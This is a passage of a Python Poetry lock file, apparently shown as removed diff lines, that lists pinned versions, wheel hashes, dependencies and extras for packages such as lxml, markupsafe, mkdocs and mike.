"lxml-6.0.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e19e0643cc936a22e837f79d01a550678da8377d7d801a14487c10c34ee49c7e"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1db01e5cf14345628e0cbe71067204db658e2fb8e51e7f33631f5f4735fefd8d"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:875c6b5ab39ad5291588aed6925fac99d0097af0dd62f33c7b43736043d4a2ec"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:cdcbed9ad19da81c480dfd6dd161886db6096083c9938ead313d94b30aadf272"}, - {file = "lxml-6.0.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:80dadc234ebc532e09be1975ff538d154a7fa61ea5031c03d25178855544728f"}, - {file = "lxml-6.0.2-cp314-cp314t-win32.whl", hash = "sha256:da08e7bb297b04e893d91087df19638dc7a6bb858a954b0cc2b9f5053c922312"}, - {file = "lxml-6.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:252a22982dca42f6155125ac76d3432e548a7625d56f5a273ee78a5057216eca"}, - {file = "lxml-6.0.2-cp314-cp314t-win_arm64.whl", hash = "sha256:bb4c1847b303835d89d785a18801a883436cdfd5dc3d62947f9c49e24f0f5a2c"}, - {file = "lxml-6.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a656ca105115f6b766bba324f23a67914d9c728dafec57638e2b92a9dcd76c62"}, - {file = "lxml-6.0.2-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c54d83a2188a10ebdba573f16bd97135d06c9ef60c3dc495315c7a28c80a263f"}, - {file = "lxml-6.0.2-cp38-cp38-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:1ea99340b3c729beea786f78c38f60f4795622f36e305d9c9be402201efdc3b7"}, - {file = "lxml-6.0.2-cp38-cp38-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:af85529ae8d2a453feee4c780d9406a5e3b17cee0dd75c18bd31adcd584debc3"}, - {file = "lxml-6.0.2-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:fe659f6b5d10fb5a17f00a50eb903eb277a71ee35df4615db573c069bcf967ac"}, - {file = "lxml-6.0.2-cp38-cp38-win32.whl", hash = "sha256:5921d924aa5468c939d95c9814fa9f9b5935a6ff4e679e26aaf2951f74043512"}, - {file = "lxml-6.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:0aa7070978f893954008ab73bb9e3c24a7c56c054e00566a21b553dc18105fca"}, - {file = "lxml-6.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2c8458c2cdd29589a8367c09c8f030f1d202be673f0ca224ec18590b3b9fb694"}, - {file = "lxml-6.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3fee0851639d06276e6b387f1c190eb9d7f06f7f53514e966b26bae46481ec90"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b2142a376b40b6736dfc214fd2902409e9e3857eff554fed2d3c60f097e62a62"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a6b5b39cc7e2998f968f05309e666103b53e2edd01df8dc51b90d734c0825444"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d4aec24d6b72ee457ec665344a29acb2d35937d5192faebe429ea02633151aad"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:b42f4d86b451c2f9d06ffb4f8bbc776e04df3ba070b9fe2657804b1b40277c48"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6cdaefac66e8b8f30e37a9b4768a391e1f8a16a7526d5bc77a7928408ef68e93"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:b738f7e648735714bbb82bdfd030203360cfeab7f6e8a34772b3c8c8b820568c"}, - {file = "lxml-6.0.2-cp39-cp39-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:daf42de090d59db025af61ce6bdb2521f0f102ea0e6ea310f13c17610a97da4c"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:66328dabea70b5ba7e53d94aa774b733cf66686535f3bc9250a7aab53a91caaf"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:e237b807d68a61fc3b1e845407e27e5eb8ef69bc93fe8505337c1acb4ee300b6"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:ac02dc29fd397608f8eb15ac1610ae2f2f0154b03f631e6d724d9e2ad4ee2c84"}, - {file = "lxml-6.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:817ef43a0c0b4a77bd166dc9a09a555394105ff3374777ad41f453526e37f9cb"}, - {file = "lxml-6.0.2-cp39-cp39-win32.whl", hash = "sha256:bc532422ff26b304cfb62b328826bd995c96154ffd2bac4544f37dbb95ecaa8f"}, - {file = "lxml-6.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:995e783eb0374c120f528f807443ad5a83a656a8624c467ea73781fc5f8a8304"}, - {file = "lxml-6.0.2-cp39-cp39-win_arm64.whl", hash = "sha256:08b9d5e803c2e4725ae9e8559ee880e5328ed61aa0935244e0515d7d9dbec0aa"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:e748d4cf8fef2526bb2a589a417eba0c8674e29ffcb570ce2ceca44f1e567bf6"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4ddb1049fa0579d0cbd00503ad8c58b9ab34d1254c77bc6a5576d96ec7853dba"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cb233f9c95f83707dae461b12b720c1af9c28c2d19208e1be03387222151daf5"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bc456d04db0515ce3320d714a1eac7a97774ff0849e7718b492d957da4631dd4"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2613e67de13d619fd283d58bda40bff0ee07739f624ffee8b13b631abf33083d"}, - {file = "lxml-6.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:24a8e756c982c001ca8d59e87c80c4d9dcd4d9b44a4cbeb8d9be4482c514d41d"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1c06035eafa8404b5cf475bb37a9f6088b0aca288d4ccc9d69389750d5543700"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c7d13103045de1bdd6fe5d61802565f1a3537d70cd3abf596aa0af62761921ee"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0a3c150a95fbe5ac91de323aa756219ef9cf7fde5a3f00e2281e30f33fa5fa4f"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:60fa43be34f78bebb27812ed90f1925ec99560b0fa1decdb7d12b84d857d31e9"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21c73b476d3cfe836be731225ec3421fa2f048d84f6df6a8e70433dff1376d5a"}, - {file = "lxml-6.0.2-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:27220da5be049e936c3aca06f174e8827ca6445a4353a1995584311487fc4e3e"}, - {file = "lxml-6.0.2.tar.gz", hash = "sha256:cd79f3367bd74b317dda655dc8fcfa304d9eb6e4fb06b7168c5cf27f96e0cd62"}, -] - -[package.extras] -cssselect = ["cssselect (>=0.7)"] -html-clean = ["lxml_html_clean"] -html5 = ["html5lib"] -htmlsoup = ["BeautifulSoup4"] - -[[package]] -name = "markdown" -version = "3.10.2" -description = "Python implementation of John Gruber's Markdown." -optional = false -python-versions = ">=3.10" -groups = ["docs"] -files = [ - {file = "markdown-3.10.2-py3-none-any.whl", hash = "sha256:e91464b71ae3ee7afd3017d9f358ef0baf158fd9a298db92f1d4761133824c36"}, - {file = "markdown-3.10.2.tar.gz", hash = "sha256:994d51325d25ad8aa7ce4ebaec003febcce822c3f8c911e3b17c52f7f589f950"}, -] - -[package.extras] -docs = ["mdx_gh_links (>=0.2)", "mkdocs (>=1.6)", "mkdocs-gen-files", "mkdocs-literate-nav", "mkdocs-nature (>=0.6)", "mkdocs-section-index", "mkdocstrings[python] (>=0.28.3)"] -testing = ["coverage", "pyyaml"] - -[[package]] -name = "markupsafe" -version = "3.0.3" -description = "Safely add untrusted strings to HTML/XML markup." -optional = false -python-versions = ">=3.9" -groups = ["main", "dev", "docs"] -files = [ - {file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"}, - {file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"}, - {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"}, - {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"}, - {file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"}, - {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"}, - {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"}, - {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"}, - {file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"}, - {file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"}, - {file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"}, - {file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"}, - {file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"}, - {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"}, - {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"}, - {file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"}, - {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"}, - {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"}, - {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"}, - {file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"}, - {file = "markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"}, - {file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"}, - {file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"}, - {file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"}, - {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"}, - {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"}, - {file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"}, - {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"}, - {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"}, - {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"}, - {file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"}, - {file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"}, - {file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"}, - {file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"}, - {file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"}, - {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"}, - {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"}, - {file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"}, - {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"}, - {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"}, - {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"}, - {file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"}, - {file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"}, - {file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"}, - {file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"}, - {file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"}, - {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"}, - {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"}, - {file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"}, - {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"}, - {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"}, - {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"}, - {file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"}, - {file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"}, - {file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"}, - {file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"}, - {file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"}, - {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"}, - {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"}, - {file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"}, - {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"}, - {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"}, - {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"}, - {file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"}, - {file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"}, - {file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"}, - {file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"}, - {file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"}, - {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"}, - {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"}, - {file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"}, - {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"}, - {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"}, - {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"}, - {file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"}, - {file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"}, - {file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"}, - {file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"}, - {file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"}, - {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"}, - {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"}, - {file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"}, - {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"}, - {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"}, - {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"}, - {file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"}, - {file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"}, - {file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"}, - {file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"}, -] - -[[package]] -name = "mergedeep" -version = "1.3.4" -description = "A deep merge function for 🐍." -optional = false -python-versions = ">=3.6" -groups = ["docs"] -files = [ - {file = "mergedeep-1.3.4-py3-none-any.whl", hash = "sha256:70775750742b25c0d8f36c55aed03d24c3384d17c951b3175d898bd778ef0307"}, - {file = "mergedeep-1.3.4.tar.gz", hash = "sha256:0096d52e9dad9939c3d975a774666af186eda617e6ca84df4c94dec30004f2a8"}, -] - -[[package]] -name = "mike" -version = "2.1.3" -description = "Manage multiple versions of your MkDocs-powered documentation" -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "mike-2.1.3-py3-none-any.whl", hash = "sha256:d90c64077e84f06272437b464735130d380703a76a5738b152932884c60c062a"}, - {file = "mike-2.1.3.tar.gz", hash = "sha256:abd79b8ea483fb0275b7972825d3082e5ae67a41820f8d8a0dc7a3f49944e810"}, -] - -[package.dependencies] -importlib-metadata = "*" -importlib-resources = "*" -jinja2 = ">=2.7" -mkdocs = ">=1.0" -pyparsing = ">=3.0" -pyyaml = ">=5.1" -pyyaml-env-tag = "*" -verspec = "*" - -[package.extras] -dev = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"] -test = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"] - -[[package]] -name = "mkdocs" -version = "1.6.1" -description = "Project documentation with Markdown." -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs-1.6.1-py3-none-any.whl", hash = "sha256:db91759624d1647f3f34aa0c3f327dd2601beae39a366d6e064c03468d35c20e"}, - {file = "mkdocs-1.6.1.tar.gz", hash = "sha256:7b432f01d928c084353ab39c57282f29f92136665bdd6abf7c1ec8d822ef86f2"}, -] - -[package.dependencies] -click = ">=7.0" -colorama = {version = ">=0.4", markers = "platform_system == \"Windows\""} -ghp-import = ">=1.0" -jinja2 = ">=2.11.1" -markdown = ">=3.3.6" -markupsafe = ">=2.0.1" -mergedeep = ">=1.3.4" -mkdocs-get-deps = ">=0.2.0" -packaging = ">=20.5" -pathspec = ">=0.11.1" -pyyaml = ">=5.1" -pyyaml-env-tag = ">=0.1" -watchdog = ">=2.0" - -[package.extras] -i18n = ["babel (>=2.9.0)"] -min-versions = ["babel (==2.9.0)", "click (==7.0)", "colorama (==0.4) ; platform_system == \"Windows\"", "ghp-import (==1.0)", "importlib-metadata (==4.4) ; python_version < \"3.10\"", "jinja2 (==2.11.1)", "markdown (==3.3.6)", "markupsafe (==2.0.1)", "mergedeep (==1.3.4)", "mkdocs-get-deps (==0.2.0)", "packaging (==20.5)", "pathspec (==0.11.1)", "pyyaml (==5.1)", "pyyaml-env-tag (==0.1)", "watchdog (==2.0)"] - -[[package]] -name = "mkdocs-autorefs" -version = "1.4.3" -description = "Automatically link across pages in MkDocs." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "mkdocs_autorefs-1.4.3-py3-none-any.whl", hash = 